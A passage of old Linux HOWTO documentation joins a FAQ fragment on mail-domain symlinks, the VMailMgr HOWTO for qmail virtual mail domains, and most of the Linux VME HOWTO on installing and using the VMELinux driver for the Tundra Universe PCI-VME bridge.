A22. Virtmaildelivery relies on the environment variables passed to it to determine which /virtual/domain1.com directory to deliver to. It does not perform any DNS lookups to determine the address of the mail. However, if the address is submail.mail.domain1.com, virtmaildelivery will first try that address and then mail.domain1.com and then domain1.com and then com in that order until either a match happens or there is no domain name left.

However, if you have domain aliases that are not subdomains of one another you have to create symlinks like so:

cd /virtual
ln -s domain1.com domain1alias.com

That way virtmaildelivery will be fooled into thinking that both directories exist even though one is a symlink and mail will be able to be delivered to user@domain1.com or user@domain1alias.com. Note that virtexec will list both of the domains in the dialog box when your run it. You can choose either one since they will be the same virtual filesystem.


VMailMgr HOWTO

Bruce Guenter <bruceg@em.ca>, Dan Kuykendall <dan@kuykendall.org>

v1.1, 23 April 2000

This document explains how to setup VMailMgr support pop3 virtual domain services in conjunction with Qmail.

1. Introduction

  • 1.1 What is VMailMgr and why should I use it?
  • 1.2 New versions
  • 1.3 Comments
  • 1.4 History
  • 1.5 Version History
  • 1.6 Copyrights and Trademarks
  • 1.7 Acknowledgements and Thanks

2. Installation

  • 2.1 Get the files
  • 2.2 Install with RPMS
  • 2.3 Install with source

3. Setup

  • 3.1 Setting Up a Virtual Domain
  • 3.2 Using one IP address for mutiple domains
  • 3.3 Catch all misdirected mail?
  • 3.4 Setup VMailMgr IMAP support?


VMailMgr HOWTO: Introduction

 Next Previous Contents

1. Introduction

VMailMgr (short for Virtual MAIL ManaGeR) is a package of programs designed to manage multiple domains of mail addresses and mailboxes on a single host. It co-operates with qmail for mail delivery and program control.

1.1 What is VMailMgr and why should I use it?

VMailMgr is:

A series of utilities for managing virtual domains which include a password checking interface for qmail which replaces the usual checkpassword, and an authentication module for Courier IMAP, that provide access to the virtual mailboxes by one of three methods:

  • IP-based virtual server access (invisible to the POP3 user)
  • username-based access (username-virtualuser)
  • hostname-based access (virtualuser@virtual.host or virtualuser:virtual.host)

You should use it if:

You prefer to have each domain controlled by a seperate username, allowing the use of system quotas and better security

1.2 New versions

The newest version of this can be found on my homepage http://www.clearrivertech.com/linux/HOWTO as SGML source, as HTML and as TEXT. Other versions may be found in different formats at the LDP homepage http://www.linuxdoc.org/. A copy can also be found on the VMailMgr homepage http://em.ca/~bruceg/vmailmgr/ in its HTML version as well as in the VMailMgr source package as both SGML source and as HTML.

1.3 Comments

Comments on this HOWTO should be directed to the VMailMgr mailing list. To subscribe, send an email to vmailmgr@lists.em.ca.

1.4 History

This document was started by Bruce Guenter and reworked by Dan Kuykendall.

1.5 Version History

Old Version

  • Created by Bruce, wasn't in SGML HOWTO format.

v1.0 (April 20, 2000)

  • Built proper SGML version.
  • Included the FAQ.
  • Other minor additions.

v1.1 (April 23, 2000)

  • Split the FAQ to a seperate file, but included some important info from the FAQ.
  • Updated the Courier-IMAP support section.
  • Switched the license to the GNU FDL.
  • Other minor additions.

1.6 Copyrights and Trademarks

Copyright (c) Dan Kuykendall. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation

A copy of the license is available at GNU Free Documentation License.

1.7 Acknowledgements and Thanks

Thanks to Bruce Guenter for VMailMgr and the core of this HOWTO. Thanks to Mike Bell, who always seems to have the answers to my questions. Finally, thanks to all those on the vmailmgr@lists.em.ca mailing list who have helped me, or asked the same stuff so many times that I had to write this to stop the repeat questions.


VMailMgr HOWTO: Installation

 Next Previous Contents

2. Installation

http://em.ca/~bruceg/vmailmgr/ to get the package.

If you get the binary RPMS you will need at least the vmailmgr and vmailmgr-daemon packages.

2.2 Install with RPMS

Compiling SRC.RPM's

Simply compile the src.rpm file with the `rpm --rebuild` command. -Example-

  rpm -ivh vmailmgr-0.96.6-1.src.rpm

Installing RPM's

After compiling the source rpms, the binaries will be located in `/usr/src/redhat/RPMS/i386/` or something similar.

Simply run the following command for each package

  rpm -ivh <location>/<package.i386.rpm>
-Example-
  rpm -ivh /usr/src/redhat/RPMS/i386/vmailmgr-0.96.6-1.i386.rpm
  rpm -ivh /usr/src/redhat/RPMS/i386/VMailMgr-daemon-0.96.6-1.i386.rpm

2.3 Install with source

If you dont ue RPMS you can install from source.

Run the following command

  (As non-root user)
  tar zxf <package.tar.gz>
  cd <newly created dir>
  ./configure
  make
  (As root)
  make install
-Example-
  (As non-root user)
  tar zxf vmailmgr-0.96.6.tar.gz
  cd vmailmgr-0.96.6
  ./configure
  make
  (As root)
  make install
That should do it.


VMailMgr HOWTO: Setup

 Next Previous Contents

3. Setup

3.1 Setting Up a Virtual Domain

The following steps are necessary to set up a virtual domain with vmailmgr (assuming vmailmgr has been compiled and installed). As an example, we'll set up a virtual user `me@mydomain.org`, with aliases of `myself@mydomain.org` and `myname@mydomain.org`.

  1. Set up a DNS entry for the domain. I won't cover this here, as it is dependant on far too many other things. I will mention that to make IP based virtual domains work a PTR record which matches an entry in virtualdomains is nessesary, for example, if nslookup 10.56.33.122 returns mail.mydomain.com, `virtualdomains` needs an entry like `mail.mydomain.com:myuser`

    For the example, we'll assume that the mail exchanger for mydomain.org is already set up to point to your computer.

  2. Set up a base user for the domain. Create a user, with a name of your choosing. Since the maildirs for all the users in the virtual domain will be stored under this user's home directory, make sure you set the user up in a partition or disk that is appropriate for such storage. The tools that you should use to accomplish this step vary greatly between different systems. For our example, I'll add a user `myuser`.
  3. Configure qmail to recognize the domain. To do this, you need to modify two of qmail's configuration files in `/var/qmail/control` `rcpthosts` and `virtualdomains`.
    • To `rcpthosts` : add the line `mydomain.org`.
    • To `virtualdomains` : add the line `mydomain.org:myuser`.
    If you wish to have mail to `anything.mydomain.org` be delivered in the same way, add the following
    • To `rcpthosts` : add the line `.mydomain.org`.
    • To `virtualdomains` : add the line `.mydomain.org:myuser`.
  4. Configure qmail-popup/qmail-pop3d to use `checkvpw` as the password checker. This step is dependant on how you have installed qmail.
    • Replace `checkpassword` in the command you use to invoke qmail-popup/qmail-pop3d (either in `/etc/inet.conf` or in a `tcpserver` command) with `checkvpw`.
    • And/Or at the prompt type: `echo checkvpw > /var/qmail/control/checkpassword`
  5. Add users or aliases to the domain. Either change user to the user you just created (for example, type `su - myuser`) or log in (with either telnet or at the console) as the new user, and use the included programs to add users and aliases.

    For our example, we would

    • type: `vadduser me` (which prompts for a password)
    • type: `vaddalias me myself`
    • and type: `vaddalias me myname`
After you have completed all these steps, you will need to kill and restart `qmail-send` to make it read the new `virtualdomains` table.

If you are using `inetd` to launch `qmail-popup`, `kill -HUP` the `inetd` process as well.

3.2 Using one IP address for mutiple domains

Logging in as a virtual user?

There are two ways to log in without using multiple IP addresses.

  1. The first way is to log in as `userSEPvirtual.domain.org`, where `user` is the mailbox name of the virtual user, SEP is one of `@` or `:` (by default, this is configurable in the `/etc/vmailmgr/' directory), and `virtual.domain.org' is the virtual domain's name, as listed in `/var/qmail/control/virtualdomains'.
  2. The second way is to use the internal form of the mailbox name -- that is, `baseuser-user', where `user' is the same as above, and `baseuser' is the username of the managing user.
Example: `/var/qmail/control/virtualdomains' contains
  testdomain.org:testuser
User `myuser' exists, and has set up a virtual mailbox with the name `me'. The `separators' variable in `/etc/vmailmgr/' contains `@:'. This virtual user could log in as `me@mydomain.com', `me:mydomain.cm', or `myuser-me'.

3.3 Catch all misdirected mail?

In the `vmailmgr/' configuration directory, there is an entry called `default-username'. If mail to a virtual domain does not match any users or aliases in that domain, it is delivered to the name listed in this configuration item if it exists (which defaults to `+'). To make this deliver to you, simply type:

  vaddalias me +

3.4 Setup VMailMgr IMAP support?

VMailMgr supports Courier-IMAP, but Courier-IMAP does not auto detect VMailMgr. This means that some minor work is required for making the two work together.

  • You must copy `/usr/local/bin/authvmailmgr` to `/usr/lib/courier-imap/libexec/authlib/authvmailmgr`.
  • Then modify the `AUTHMODULES` statement in `/usr/lib/courier-imap/etc/imapd.config` and add `authvmailmgr` as the first authentication module.


Linux VME Howto

John Huggins and Michael Wyrick, vmelinux@va.net

$Revision: 1.16 $, $Date: 2002/02/12 17:57:37 $

This document came about to show the embedded system community how to run Linux on their VMEbus Pentium and other PCI local bus based VMEbus processor designs. The latest version is always available at Linux VME HOWTO.

1. Introduction

  • 1.1 Knowledge Required
  • 1.2 Why use Linux on VMEbus systems?
  • 1.3 Purpose
  • 1.4 Feedback
  • 1.5 VMELinux Revision History
  • 1.6 Copyright/Distribution

2. Installation of the VMELinux Kernel Driver

  • 2.1 Download the Source
  • 2.2 Install the source to the software
  • 2.3 Compile the VMELinux components
  • 2.4 Load the VMELinux Kernel Module
  • 2.5 Difficulties

3. How to talk to the VMEbus with the VMEUtils and the VMEShell Packages

  • 3.1 What is the VMEUtils program
  • 3.2 What are the VMEShell Scripts
  • 3.3 The "vmemap" command.
  • 3.4 Read Byte, Word or Long
  • 3.5 Write Byte, Word or Long
  • 3.6 Read the VMEbus to a file
  • 3.7 Write a file to the VMEbus
  • 3.8 Parameters
  • 3.9 Options
  • 3.10 A Note about DMA mode.

4. How to talk to the Tundra Universe PCI-VME bridge using the devices drivers.

  • 4.1 The device drivers used with VMELinux
  • 4.2 VMEMaster Device Drivers
  • 4.3 VMESlave Device Drivers
  • 4.4 Direct Control of the Universe Registers
  • 4.5 read()
  • 4.6 write()
  • 4.7 lseek()
  • 4.8 ioctl()
  • 4.9 open() and close()

5. Advantages of the VMEbus, Linux and VMELinux

  • 5.1 Pin and socket connectors
  • 5.2 Eurocard assembly
  • 5.3 Linux is Low Cost
  • 5.4 Linux is Stable
  • 5.5 Linux is Dynamic

6. Current and planned Board Support

  • 6.1 Xycom XVME655 Pentium VMEbus Board
  • 6.2 XyCom XVME656 Pentium VMEBus Board
  • 6.3 Dynatem DPC1-0367
  • 6.4 SBS/Or Computer VP7
  • 6.5 DY4 179, A Power PC board
  • 6.6 Planned Board Support

7. Other "Linux on VME" Projects

  • 7.1 Project List
  • 7.2 Major Device Numbers

8. Conclusion

9. FAQ

  • 9.1 The Shell utilities return a bunch of stars (*) when I access a board I know is there. What gives?
  • 9.2 The Shell utilities still return a bunch of stars (*) when I access a board I know is there. Now what?
  • 9.3 The Shell utilities still return a bunch of stars (*) when I access a board I know is there. HELP?
  • 9.4 How does VMELinux handle interrupts?
  • 9.5 I have RedHat 5.1 and can't get VMELinux programs to compile.
  • 9.6 I have RedHat 6.x so I assume the above issue is fixed. Right?
  • 9.7 When will your ca91c042 Tundra Universe driver support the 2.4 kernels?
  • 9.8 Hey! The Universe II has eight master and eight slave images. You support four each. Why?
  • 9.9 How can we contribute to your VME-LINUX working group?


Linux VME Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Knowledge Required

Using Linux on an embedded VMEbus processor board is not difficult. However, more than fundamental knowledge is required. This document is not a primer on how to fully configure a Linux machine.

In order to understand this HOWTO document it is assumed that you are thoroughly familiar with the following:

  • Configuring and compiling a Linux kernel to operate the various peripherals on your board. Kernel-HOWTO
  • Setting up and configuring of network devices NET HOWTO
  • Setting up of inetd NET HOWTO
  • Setting up and use of the Tundra Universe PCI to VME Bridge Chip Tundra Universe. The new VMEUtils program makes knowledge of the Universe unnecessary for those who do not wish to deal with register level Universe access.
  • Compiling and installing various network packages like Apache Site Wu-Ftpd FAQ
  • The VMEbus Rev. D and VME64. Excellent information may be found at the VMEbus International Trade Association (VITA).

If you are uncertain of how to proceed with any of the above it is STRONGLY recommended that you use the links provided to familiarize yourself with all packages. We may not reply to any mail regarding any of the above. Please direct any questions to the appropriate author of the HOWTO or consult the respective hardware manufacturer.

This document describes the installation and use of VMELinux on a Xycom XVME-655 6U VME processor board. Other brands of VME boards that use a Pentium and the Tundra Universe chip should be capable of running VMELinux. Please consult the Board Support Section of the VMELinux web site for tested boards. VMELinux Project Web Site

1.2 Why use Linux on VMEbus systems?

Operating systems for VMEbus computers are usually Real-time Operating Systems (RTOS) which have high cost and a significant learning curve. In return the RTOS offers quick response to real world events for control of machinery or response to a process.

The VMEbus provides a rugged computer enclosure and interconnection system. Many system integrators require this ruggedness and also need very fast real-time response. However, there are many times when there is little need for real-time response, but the software still needs:

  • networking capability,
  • remote access via telnet or similar program,
  • file transfer via FTP or similar programs,
  • remote booting via BOOTP or similar method,
  • a way to respond to system interrupts.
Linux has all these capabilities. Thus, the VMELinux Project exists.

1.3 Purpose

The purpose of VMELinux is to give the VME system integrator another choice in operating systems. Rich in features, high in reliability and low in cost, Linux offers benefits to the embedded computer industry. High cost operating systems economically prohibit the use of VME in many applications. With Linux and the VMELinux drivers, the rugged VMEbus has new possibilities.

The purpose of the VMELinux Project is to:

  • Maintain and improve the free VMELinux Kernel Driver software,
  • Offer added value software components such as the VMEUtils program and VMEShell utilities.
  • Test the software on various makes and brands of manufacturer supplied VME processor boards,
  • Maintain web based documentation on each tested brand and make of boards,
  • Maintain this HOWTO.
  • Integrate user suggested and user supplied improvements into the virgin code so we may all benefit from the programming talents of others.
  • Become the original source for all the above software so VMELinux users can be assured of original code from the authors.

1.4 Feedback

As VMELinux is tested in the field, we encourage comments about how well or how bad it works. Please feel free to send comments to The VMELinux Project

As we get experience about each brand of VME CPU, we will list the different configurations in this HOWTO. For now we will describe only the Xycom board.

1.5 VMELinux Revision History

This document's revision is $Revision: 1.16 $, $Date: 2002/02/12 17:57:37 $.

The latest version is always available at Linux VME HOWTO.

Linux Kernel Driver

  • November 1997, v0.2 - Initial version on Xycom Board
  • December 1997, v0.3 - Useable version used for actual work with project.
  • February 1998, v0.6 - DMA mode added to VME access modes.
  • June, 1998, v0.8 - Fixed a few things to allow the new VMEUtils to work.
  • June 24, 1998, v0.8a - Last version for the 2.0.x kernels
  • April 18 2000, v0.95 - First version for the 2.2.x kernels
  • October 16, 2000, v1.00a - Release for the 2.2.x kernels
  • April 23, 2001, v1.01a - Same as 1.00a, but with the new device major number 221.
  • October 16, 2001, v1.1 - Our first release with support for 2.4 and 2.2 kernels.
  • October 25, 2001 - All version numbers restructured to make more sense. What was version 1.1 is now 1.2.0. Development tree started at 1.3.0 which includes support for eight images.
  • February 11, 2002, More work done on ca91c042.c driver code available from the CVS respository.

VMEUtils Program

  • February, 1998, v0.6 - Created a command line interpreter to access the VMEbus
  • June, 1998, v0.8 - Fixed several issues to allow VMEShell Utilities to function
  • June 24, 1998, v0.8a - Previous working release.
  • April 2000, v0.95 - Pretty much the same as before. Better install instructions.

VMEShell Utilities

  • June, 1998, v0.8 - Created command line utilities that allow access to the VMEbus from the Linux shell prompt. These shell programs interface with the VMEUtils program.
  • June 24, 1998, v0.8a - Changed the name of all the shell programs so they all begin with "vme." Current version made available on the website.
  • April 2000, v 0.95 - Improved installation scripts.

1.6 Copyright/Distribution

This document is Copyright 1997-2002 by John Huggins and the VMELinux Project.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it. Commercial redistribution is allowed and encouraged; however please notify The VMELinux Project of any such distributions.

Excerpts from the document may be used without prior consent provided that the derivative work contains the verbatim copy or a pointer to a verbatim copy.

Permission is granted to make and distribute verbatim copies of this document provided the copyright notice and this permission notice are preserved on all copies.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we wish to retain copyright on this HOWTO document, and would like to be notified of any plans to redistribute this HOWTO.


Linux VME Howto: Installation of the VMELinux Kernel Driver

 Next Previous Contents

2. Installation of the VMELinux Kernel Driver

2.1 Download the Source

Download the distribution from the VMELinux Web Site.

2.2 Install the source to the software

Place the file in your source directory; We suggest /usr/src. Untar the zipped/tarred file by typing...

tar -xzf VMELinux_1.3.x.tar.gz

Then:

cd vmelinux
You should see three directories:
ca91c042
vmeshell
vmeutils

In ca91c042 you should find:

ca91c042/
ca91c042/Makefile
ca91c042/ca91c042.c
ca91c042/ca91c042.h
ca91c042/README
ca91c042/e
ca91c042/ins
ca91c042/stat
ca91c042/uns

In vmeshell you should find:

vmeshell/vmer
vmeshell/README
vmeshell/vmeseek
vmeshell/cmd.vme
vmeshell/vmew
vmeshell/vmeregw
vmeshell/vmeregr
vmeshell/vmefa
vmeshell/vmecall
vmeshell/e
vmeshell/ec
vmeshell/fa.vme
vmeshell/map.vme
vmeshell/tmp.vme
vmeshell/vmedb
vmeshell/vmedl
vmeshell/vmedw
vmeshell/vmemap
vmeshell/vmerb
vmeshell/vmerf
vmeshell/vmerl
vmeshell/vmerw
vmeshell/vmewb
vmeshell/vmewf
vmeshell/vmewl
vmeshell/vmeww
vmeshell/makelinks

In the vmeutils directory you should find:

vmeutils/commands.cpp
vmeutils/commands.h
vmeutils/universe.h
vmeutils/Makefile
vmeutils/vmeutils.h
vmeutils/unilib.h
vmeutils/unilib.cpp
vmeutils/vmeutils.cpp
vmeutils/README

2.3 Compile the VMELinux components

Enter the "ca91c042" directory and make the VMELinux device driver module.

make

Now you must create the several /dev driver files. Type:

make devices

DON'T FORGET TO MAKE THE /dev/vme* DEVICES!!!

Once made, you should see the file "ca91c042.o" in the directory. This is a loadable module. See below for loading information. Plus, you should find several "vme..." files in the /dev directory. Here is how the files should look:

hostname:/dev# ls -l vme*
crw-rw-rw-   1 root     root      221,   8 Jul 30 10:51 vme_ctl
crw-rw-rw-   1 root     root      221,   0 Jul 30 10:51 vme_m0
crw-rw-rw-   1 root     root      221,   1 Jul 30 10:51 vme_m1
crw-rw-rw-   1 root     root      221,   2 Jul 30 10:51 vme_m2
crw-------   1 root     root      221,   3 Jul 30 10:51 vme_m3
crw-rw-rw-   1 root     root      221,   4 Jul 30 10:51 vme_m4
crw-rw-rw-   1 root     root      221,   5 Jul 30 10:51 vme_m5
crw-rw-rw-   1 root     root      221,   6 Jul 30 10:51 vme_m6
crw-------   1 root     root      221,   7 Jul 30 10:51 vme_m7
hostname:/dev#

Change to the "vmeutils" directory and type make there.

make

This will compile the "vmeutils" program. This program directly speaks to the kernel driver. It is a reference work for those of you who wish to write your own programs to directly speak with the driver.

Copy the program "vmeutils" to your user binary directory or let the makelinks script do this for your in the next step. On our system this is "/usr/local/bin." Alternatively, you can create a link in the user bin directory to the "vmeutils" program.

Change to the "vmeshell" directory. There are no files to be compiled here. These are shell programs that use the "vmeutils" program to access the VMEbus. All the files beginning with "vme" should with have a link made or be copied to the "/usr/local/bin" directory.

just type:

./makelinks

Have a look in the libvme directory for a C++ example on how to communicate with the driver. You can use the libvme code as your interface to the driver for your programs if you wish. Docmentation for this is planned for the future.

You are now ready to try the driver.

2.4 Load the VMELinux Kernel Module

Make sure you are root and insert "load" the VMELinux Kernel Module for the Universe chip by typing...

insmod ca91c042

Or just type "./ins" to let the shell script do this for you. Once complete, type...

./stat

or

more /proc/ca91c042
You should see a list of registers displayed on your screen. Something like this...
Universe driver info:
  Control Pointer = 0000
  Stats  reads = 0  writes = 0  ioctls = 0
  LSI0_CTL = 00800000    LSI1_CTL = 00800000
  LSI0_BS  = C0000000    LSI1_BS  = 00000000
  LSI0_BD  = C0010000    LSI1_BD  = 00000000
  LSI0_TO  = 40009000    LSI1_TO  = 00000000
  LSI2_CTL = 00800000    LSI3_CTL = 00800000
  LSI2_BS  = 00000000    LSI3_BS  = 00000000
  LSI2_BD  = 00000000    LSI3_BD  = 00000000
  LSI2_TO  = 00000000    LSI3_TO  = 00000000
  image_va0   = 00000000     image_va1   = 00000000
  image_va2   = 00000000     image_va3   = 00000000

Driver Program Status:
  DMACTL 0    = 00000000 DMACTL 1    = 00000000
  DMACTL 2    = 00000000 DMACTL 3    = 00000000
  OkToWrite 0 = 0        OkToWrite 1 = 0
  OkToWrite 2 = 0        OkToWrite 3 = 0
  Mode 0      = 0        Mode 1      = 0
  Mode 2      = 0        Mode 3      = 0
If not, something went wrong.

2.5 Difficulties

The Universe driver does a good job of finding the Universe chip on a PCI bus, but differences in board design may prevent this. We tested all our routines on a Xycom XVME-655, Dynatem DPC and SBS VP7. There is little reason why this should not work on any other Intel board with a PCI bus and the Universe PCI-VME bridge chip. If you encounter problems, please let us know at the The VMELinux Project Bug Reporter


Linux VME Howto: How to talk to the VMEbus with the VMEUtils and the VMEShell Packages

 Next Previous Contents

3. How to talk to the VMEbus with the VMEUtils and the VMEShell Packages

3.1 What is the VMEUtils program

This program can be run as is. Once started, you will see a command prompt. Type ? And you will see a list of commands. While useful, I think you will find the VMEShell scripts a better way to go. They do use this program to speak with the kernel driver so it is necessary to have this program available in the current PATH.

The source code for "vmeutils" is also instruction on how to speak directly to the kernel driver. For those of you who wish to create programs that directly speak with the driver, these source files are good examples.

3.2 What are the VMEShell Scripts

The VMEShell programs are unix shell scripts. They offer the operator a simple way to access the data on a VMEbus. Using these commands creates temporary files in the user's working directory which store information on the last access you did. This is nice because it will be possible to log off the machine, log back in and proceed from where you left off without having to re-enter VMEbus information again. Plus, these files are stored in the current working directory, so you can have different VME access configuration just by setting up different directories for each VME board of interest.

Assuming you placed the shell programs and the "vmeutils" program in the /usr/local/bin directory, you should be able to log in as a regular user and run them. What follows assumes exactly this.

3.3 The "vmemap" command.

Login as a regular user and create a directory to experiment with. Once in this directory type:

vmemap
You should get a help screen like this...
Usage:  map address count space size type
  where address is VME Address to set Universe image to

    Space = 0 CR/CSR    Space = 1 A16
    Space = 2 A24       Space = 3 A32

    Size  = 1 8 bit     Size  = 2 16 bit
    Size  = 3 32 bit    Size  = 4 64 bit

    Type  = 0 USR/DATA  Type  = 1 USR/PRG
    Type  = 2 SUP/DATA  Type  = 3 SUP/PRG
This is where you tell VMELinux how you want to access the VMEbus. We assume you already know about the VMEbus' many modes of operation, but here is a short list to help you.
  • address is the actual VMEbus address you wish to see. This should be set to the lower most value of the address range of interest.
  • count is the number of bytes you consider a valid range to view. This is the number of bytes starting at the address specified above.
  • space is the addressing space (mode). For those of you who do not know what we are talking about here, the VMEbus has four overlapping address spaces that can be called independent of each other. A16 is a 64 Kilobyte space. A24 is a 16 Megabyte space. A32 is a 4 Gigabyte space. There is an A64 space defined the VME specification, but the Universe does not support it.
  • Size refers to the maximum data width allowed for the VME board you are accessing. Some VMEbus board only handle 8 bit data paths. Others transfer 32 bits (four bytes) at a time. Some can handle a special VME block mode which can move 64 bits per transaction. The Universe can handle all these modes allowing you to mix inexpensive serial port boards with hugh memory arrays.
  • Type is the type of VME transaction performed. Some VME boards make a distinction between "User" access (USR) and "Supervisor" access (SUP). Also, some boards allow access to two "pages" of memory: Program (PRG) and Data. The Universe supports all modes.
Typing...
vmemap 0x8000 0x100 1 2 0
sets up the VMELinux driver to access an A16 board at base address 8000 Hex with a range of 100H bytes with 16 bit data width and USR/DATA mode.

You will find two new files in your current directory.

  • fa.vme
  • map.vme
fa.vme stores a "fixed adder" value that will be added to all subsequent accesses with the programs below.

map.vme store the parameters above so you do not have to enter them every time.

All the following shell utilities read values from these two files to performs VME accesses.

3.4 Read Byte, Word or Long

Syntax:

  • vmerb -options address size
  • vmerw -options address size
  • vmerl -options address size

3.5 Write Byte, Word or Long

Syntax:

  • vmewb -options address value
  • vmeww -options address value
  • vmewl -options address value

3.6 Read the VMEbus to a file

Syntax:

  • vmerf -options address size filename

3.7 Write a file to the VMEbus

Syntax:

  • vmewf -options address filename

3.8 Parameters

There are several parameters used with these commands: address, size and filename.

  • address - The actual hexadecimal VMEbus address you wish to read. If the map command is set to access A16 VME address space, the address should be 0xABCD. If the space is A24 then use 0xABCDEF. For A32 space use 0xABCDEFGH.
  • size - The number of bytes to read. This value is always the number of bytes regardless of the data word size read. For example, if you want to read 16 bytes of information and use vmerl, the display will show 16 bytes displayed as 4 long words.
  • filename - The name of the file to send "read" VMEbus data to or "write" VMEbus data from.
  • value - a hex value written as "0xXXXX."

3.9 Options

Available options are defined with a single dash with the any combination of the following:

  • q - Hides details on the access to the vmeutils program (default)
  • Q - Shows details on the access to the vmeutils program
  • p - Single access PCI addressing mode (opposite of d) (default)
  • d - DMA access PCI addressing mode (opposite of p) (very fast access to the VMEbus)
  • 0, 1, 2, or 3 - Which Universe chip "Image" to use (defaults to 0)
  • b - binary mode off (default)
  • B - binary mode on
  • v - turn off verbose parameter printing (default)
  • V - turn on verbose parameter printing to see how the driver is begin used

3.10 A Note about DMA mode.

VMELinux offers access to all the features of the Universe Chip. Especially useful is access to the DMA engine on the chip. With this feature the Universe chip transfers data on the PCI bus by becoming a PCI master. This is nice, but the real benefit comes from the VMEbus accesses. Even if the VMEbus interface is not using block mode transfers, the Universe chip can complete VMEbus transfers under 400 nanoseconds sustained. This is the direct result of the Universe taking complete control of both the PCI bus and the VMEbus. Thus, it is possible to access non block mode VMEbus peripherals much faster than older technologies.


Linux VME Howto: How to talk to the Tundra Universe PCI-VME bridge using the devices drivers.

 Next Previous Contents

4. How to talk to the Tundra Universe PCI-VME bridge using the devices drivers.

4.1 The device drivers used with VMELinux

  • /dev/vme_ctl
  • /dev/vme_m0
  • /dev/vme_m1
  • /dev/vme_m2
  • /dev/vme_m3
  • /dev/vme_m4
  • /dev/vme_m5
  • /dev/vme_m6
  • /dev/vme_m7

4.2 VMEMaster Device Drivers

/dev/vme_m* are drivers used to access the VMEbus as a bus master.

The Universe chip offers the programmer eight VMEMaster windows to the VMEbus. These windows are called Images. The details of the registers within these windows is beyond the scope of this Howto. Please refer to the Universe documentation for details. Tundra Universe

Version 1.1 of our tools only supported the first four images. This is because we originally designed this to work with the original Universe device. When the Universe II became available, Tundra did not update their documentation. Thanks to reports from other Universe users we are now aware of the new images, have found and downloaded the latest Universe manual from Tundra and have added these images to the 1.3.0 release.

4.3 VMESlave Device Drivers

The Universe chip offers the programmer four (eight for the UniverseII) VMESlave windows to the VMEbus. These windows are called Images. The details of the registers within these windows is beyond the scope of this Howto. Please refer to the Universe documentation for details. Tundra Universe

We originally intended to support the Universe's slave mode. We never had a need for this thus our efforts concentrated solely on using the Universe as a VME master only. So for 1.3.0 and the near future, we will not support the eight slave images.

I'll repeat this for clarity. Slave VME modes are not yet supported by our VMELinux Universe Kernel driver.

4.4 Direct Control of the Universe Registers

/dev/vme_ctl allows read and write access to the Universe registers.

For experienced users, this device allows direct access to the Universe chip's internal registers. Explanation of these registers and what they do is beyond the scope of this howto. Please consult the Universe documentation available from Tundra Universe

4.5 read()

n = read(vme_handle,buf,len);

Where:

  • vme_handle = The value returned by "open,"
  • buf = pointer to data block,
  • len = number of bytes to read from the VMEbus.

4.6 write()

write(vme_handle,buf,len);

Where:

  • vme_handle = The value returned by "open,"
  • buf = pointer to data block,
  • len = number of bytes to write to the VMEbus.

4.7 lseek()

lseek(vme_handle,vme_pnt,Seek_Type);

Where:

  • vme_handle = The value returned by "open,"
  • vme_pnt = The actual VME address to access,
  • Seek_Type = SEEK_SET or SEEK_CUR

4.8 ioctl()

ioctl(vme_handle, command, argument);

Where:

  • vme_handle = The value returned by "open,"
  • command = IOCTL_SET_CTL or IOCTL_SET_MODE or IOCTL_SET_BS or IOCTL_SET_BD or IOCTL_SET_TO
  • argument to be sent
And:
  • IOCTL_SET_CTL = Sets the image CTL register to argument. Argument must be 32 bits.
  • IOCTL_SET_MODE = "MODE_DMA" or "MODE_PROGRAMMED" - Sets the mode by which the Universe chips communicates to the PCI bus (Not VME Block Mode)
  • IOCTL_SET_BS = Sets the image BS register to arguments. NOTE: The BD register must already be set prior to making this call.
  • IOCTL_SET_BD = Sets the image BD register to argument.
  • IOCTL_SET_TO = Set the image TO register to argument.

4.9 open() and close()

Here is where you open and close the four VMELinux Master or Slave devices plus the Control device. Slave images are not yet supported.

  • vme_handle = open("//dev//vme_m0",O_RDWR,0);
  • uni_handle = open("//dev//vme_ctl",O_RDWR,0);

  • close(vme_handle);
  • close(uni_handle);


Linux VME Howto: Advantages of the VMEbus, Linux and VMELinux

 Next Previous Contents

5. Advantages of the VMEbus, Linux and VMELinux

5.1 Pin and socket connectors

The VMEbus standard uses pin and socket connectors. This is superior to edge connections in that the connection is not exposed to humidity and other environmental conditions. It is a more expensive way of doing things, but offers longer times before failure.

5.2 Eurocard assembly

A VME board is either a 3U (160 x 100 mm) or a 6U size (160 x 233.35 mm). These sizes correspond to the Eurocard standard for board modules and card cages. Eurocard is a popular format used by many different busses including CompactPCI. This popularity makes the materials needed for cage assembly inexpensive and easy to obtain.

5.3 Linux is Low Cost

The nature of Linux is in its user supported and freely available format. The number of people using Linux is growing. The number of people contributing to the continued development of the Linux software base is growing. It is unfair to state that Linux is a good value because it is available for little to no charge. Linux is a good value because it works.

5.4 Linux is Stable

There are those who say that Linux us an unstable operating system. It is true that the new Linux kernels in development are experimental and should not be relied on for critical applications. However, stable versions of the Linux OS are always available and provide very robust operation. VMELinux is always based on the stable versions of the kernel source; Today's stable kernels are the 2.0.X and 2.2.x series. We have received reports that the latest 2.4.x kernels appear to be solid. I would say the future is plenty bright for Linux.

5.5 Linux is Dynamic

Because so many people are developing Linux, you do not have to wait long for improvements, fixes or new features to become part of the Linux distribution.


Linux VME Howto: Current and planned Board Support

 Next Previous Contents

6. Current and planned Board Support

While the VMELinux driver should work with any PCI based design, the following boards have actually run our software.

6.1 Xycom XVME655 Pentium VMEbus Board

  • This XyCom board is compatible with the standard VMELinux kernel driver package from VMELinux Project
  • A prepared kernel will be available soon. It will be based on the newest version of the Linux kernel and will include appropriate drivers for the on board NE2100 Ethernet interface. Check the website for details.

6.2 XyCom XVME656 Pentium VMEBus Board

  • This XyCom board is compatible with the standard VMELinux kernel driver package from VMELinux Project
  • A prepared kernel will be available soon. It will be based on the newest version of the Linux kernel and will include appropriate drivers for the on board AHA2940/AIC7000 SCSI and 82558 Intel EtherExpress Ethernet peripherals. Check the website for details.

6.3 Dynatem DPC1-0367

  • This board is compatible with the standard VMELinux kernel driver package from VMELinux Project
  • A prepared kernel will be available soon. It will be based on the newest version of the Linux kernel and will include appropriate drivers for the on board SCSI and Tulip Ethernet peripherals. Check the website for details.

6.4 SBS/Or Computer VP7

  • This board is compatible with the standard VMELinux kernel driver package from VMELinux Project
